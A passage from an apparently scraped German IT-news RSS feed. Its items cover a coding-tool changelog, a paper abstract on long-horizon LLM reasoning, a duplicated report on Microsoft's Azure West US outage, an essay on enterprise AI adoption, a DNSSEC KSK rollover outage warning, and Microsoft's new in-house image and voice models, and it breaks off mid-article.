<li>Removed Opus 4.7 from fast mode; <code>/fast</code> now applies to Opus 5 and Opus 4.8</li>
<li>Updated the claude-api skill to default to Claude Opus 5, with a migration path from Opus 4.8</li>
<li>Subagents can now spawn nested subagents up to depth 3 by default (was 1); set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=1 to disable nesting</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[LEAD: Breaking the No-Recovery Bottleneck in Long-Horizon Reasoning]]></title>
<description><![CDATA[Long-horizon execution in Large Language Models (LLMs) remains unstable even when high-level strategies are provided. Evaluating on controlled algorithmic puzzles, we demonstrate that while decomposition is essential for stability, extreme decomposition creates a “no-recovery bottleneck”. We show...]]></description>
<link>https://tsecurity.de/de/3691970/ai-nachrichten/lead-breaking-the-no-recovery-bottleneck-in-long-horizon-reasoning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691970/ai-nachrichten/lead-breaking-the-no-recovery-bottleneck-in-long-horizon-reasoning/</guid>
<pubDate>Fri, 24 Jul 2026 17:50:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-horizon execution in Large Language Models (LLMs) remains unstable even when high-level strategies are provided. Evaluating on controlled algorithmic puzzles, we demonstrate that while decomposition is essential for stability, extreme decomposition creates a “no-recovery bottleneck”. We show that this bottleneck becomes critical due to highly non-uniform error distribution, where consistent errors on a few “hard” steps become irreversible. To address this, we propose Lookahead-Enhanced Atomic Decomposition (LEAD). By incorporating short-horizon future validation and aggregating…]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:20:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fix IRCTC Concession Not Applicable Error for Train Booking]]></title>
<description><![CDATA[Key TakeawaysThe IRCTC shows a “Concession Not Applicable” error when the selected discount cannot be applied to the current train booking due to mismatches with train type, quota, class, or passenger details.You can fix this by removing the concession, selecting General quota, correcting passeng...]]></description>
<link>https://tsecurity.de/de/3690740/it-security-nachrichten/fix-irctc-concession-not-applicable-error-for-train-booking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690740/it-security-nachrichten/fix-irctc-concession-not-applicable-error-for-train-booking/</guid>
<pubDate>Fri, 24 Jul 2026 07:14:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key TakeawaysThe IRCTC shows a “Concession Not Applicable” error when the selected discount cannot be applied to the current train booking due to mismatches with train type, quota, class, or passenger details.You can fix this by removing the concession, selecting General quota, correcting passenger information, using the Divyaang booking process, or booking at a railway […]</p>
<p>The post <a href="https://itechhacks.com/concession-not-applicable-irctc/" data-wpel-link="internal">Fix IRCTC Concession Not Applicable Error for Train Booking</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a 